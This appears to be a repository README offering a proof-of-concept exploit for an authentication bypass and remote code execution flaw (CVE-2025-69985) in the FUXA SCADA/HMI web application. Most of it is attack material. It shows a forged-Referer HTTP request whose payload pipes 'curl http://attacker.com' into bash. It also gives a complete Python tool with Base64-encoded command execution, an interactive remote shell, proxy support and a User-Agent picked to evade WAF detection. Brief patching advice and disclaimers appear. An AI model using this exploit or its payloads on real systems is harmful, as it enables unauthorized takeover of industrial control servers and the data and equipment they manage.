
PoC exploit for CVE-2025-69985: authentication bypass leading to RCE in FUXA SCADA ≤1.2.8. Includes a modular Python exploit with interactive shell, Base64 payload encoding, and proxy support for penetration testing.
This repository contains a Proof of Concept (PoC) and detailed technical documentation about the vulnerability CVE-2025-69985, which affects FUXA (versions ≤1.2.8). The vulnerability allows an unauthenticated attacker to execute arbitrary commands on the server (RCE) via an authentication bypass in the application's middleware.
Unlike traditional vulnerabilities such as memory overflows in Windows, this flaw lies in a logical weakness in the middleware, where the server confuses external requests with internal ones due to an incorrect validation of the Referer header.
| CVE | CVE-2025-69985 |
|---|---|
| Type | Authentication Bypass via Alternate Path (CWE-288) |
| Impact | Remote Code Execution (RCE) |
| Severity | 9.8 CRITICAL (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Affected Versions | FUXA ≤ 1.2.8 |
| Platform | Node.js |
| Product | FUXA (web-based SCADA/HMI) |
FUXA's middleware blindly trusts the Referer header. If an attacker sends a request with:
Referer: http://<target-ip>/
The server assumes the request is internal and skips JWT token verification, allowing access to protected endpoints without authentication.
Once authentication is bypassed, the attacker can interact with the /api/runscript endpoint, designed to execute Node.js scripts. By sending a malicious JSON payload, they gain full control over the server process.
POST /api/runscript HTTP/1.1
Host: target-fuxa.local
Referer: http://target-fuxa.local
Content-Type: application/json
{
"script": "require('child_process').exec('curl http://attacker.com | bash')",
"parameters": {}
}
⚠️ Note: This example is illustrative. Do not execute in production environments without authorization.
| Product | Versions | Platform |
|---|---|---|
| FUXA | ≤ 1.2.8 | Node.js |
Immediate Update Update FUXA to a version higher than 1.2.8 (official patch).
Manual Patch
Modify server/api/jwt-helper.js to remove trust in the Referer header as an authentication method.
WAF Implementation
Configure a Web Application Firewall to block requests to the /api/runscript endpoint that do not come from known administrative networks, regardless of the Referer header.
🔴 This material is for educational and security auditing purposes only. 🔴 Using these techniques against systems without explicit authorization is illegal. 🔴 The authors are not responsible for any misuse of this information.
Advanced features that elevate this exploit to a professional level (Exploit-DB style or Red Team tools):
fuxa-exploit.py)import requests
import argparse
import sys
import urllib3
import base64
from typing import Optional
# Configuración estética
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class Logger:
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
BLUE = '\033[94m'
RESET = '\033[0m'
@staticmethod
def info(msg): print(f"{Logger.BLUE}[*]{Logger.RESET} {msg}")
@staticmethod
def success(msg): print(f"{Logger.GREEN}[+]{Logger.RESET} {msg}")
@staticmethod
def warn(msg): print(f"{Logger.YELLOW}[!]{Logger.RESET} {msg}")
@staticmethod
def error(msg): print(f"{Logger.RED}[-]{Logger.RESET} {msg}")
class FuxaExploit:
def __init__(self, base_url: str, proxy: Optional[str] = None):
self.base_url = base_url.rstrip('/')
self.session = requests.Session()
self.session.verify = False
if proxy:
self.session.proxies = {"http": proxy, "https": proxy}
self.session.headers.update({
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Referer": f"{self.base_url}/fuxa"
})
def check_vulnerable(self) -> bool:
"""Verifica si el endpoint existe antes de atacar."""
try:
r = self.session.get(f"{self.base_url}/api/runscript", timeout=10)
return r.status_code in [401, 405, 200] # Depende de la config del WAF/App
except Exception:
return False
def execute(self, command: str) -> str:
# Payload mejorado: Encoding en Base64 para evitar romper el JSON
b64_cmd = base64.b64encode(command.encode()).decode()
js_code = (
f"const c = Buffer.from('{b64_cmd}', 'base64').toString();"
"const r = require('child_process').execSync(c);"
"return r.toString();"
)
payload = {
"params": {
"script": {
"id": "exp", "name": "exp",
"code": js_code, "test": js_code
}
}
}
try:
r = self.session.post(f"{self.base_url}/api/runscript", json=payload, timeout=20)
return r.text.strip() if r.status_code == 200 else f"Error: {r.status_code}"
except Exception as e:
return f"Exception: {str(e)}"
def main():
parser = argparse.ArgumentParser(description="CVE-2025-69985 - FUXA Professional Exploit Tool")
parser.add_argument("-u", "--url", required=True, help="Target URL")
parser.add_argument("-c", "--cmd", help="Single command to execute")
parser.add_argument("-i", "--interactive", action="store_true", help="Spawn a pseudo-interactive shell")
parser.add_argument("--proxy", help="HTTP proxy (ex: http://127.0.0.1:8080)")
args = parser.parse_args()
exploit = FuxaExploit(args.url, args.proxy)
Logger.info(f"Targeting: {args.url}")
if args.interactive:
Logger.success("Entering interactive mode. Type 'exit' to quit.")
while True:
try:
cmd = input(f"{Logger.GREEN}fuxa-shell$ {Logger.RESET}").strip()
if cmd.lower() in ['exit', 'quit']: break
if not cmd: continue
print(exploit.execute(cmd))
except KeyboardInterrupt: break
elif args.cmd:
Logger.info(f"Executing: {args.cmd}")
print(exploit.execute(args.cmd))
else:
parser.print_help()
if __name__ == "__main__":
main()
⚠️ Responsible use: Execute only in controlled environments and with explicit authorization.
| Feature | Description |
|---|
| 🔹 Dynamic Shell Handling | --interactive (-i) mode that opens an interactive REPL to execute multiple commands. |
| 🔹 Detection and Fingerprinting | Checks if the /api/runscript endpoint exists before launching the attack (check_vulnerable()). |
| 🔹 Improved Payload | Command encoded in Base64 to avoid character escaping issues (&, >, ", etc.). |
| 🔹 Network Robustness | Support for random User-Agents and proxies (useful for Burp Suite or debugging). |
| 🔹 OOP (Object-Oriented Programming) | Modular, reusable, and extensible FuxaExploit class. |
| Feature | Benefit |
|---|
| 🔹 OOP | Modularity: The FuxaExploit class can be imported into other scripts or tools. |
| 🔹 Base64 Bypass | Avoids escaping issues in complex commands (e.g., &, >, ", etc.). |
🔹 Pseudo-Shell (-i) | Allows investigating the system interactively without restarting the script. |
| 🔹 Proxy Support | Useful for debugging the exploit using tools like Burp Suite or mitmproxy. |
| 🔹 Realistic Headers | Browser User-Agent to avoid basic WAF signatures. |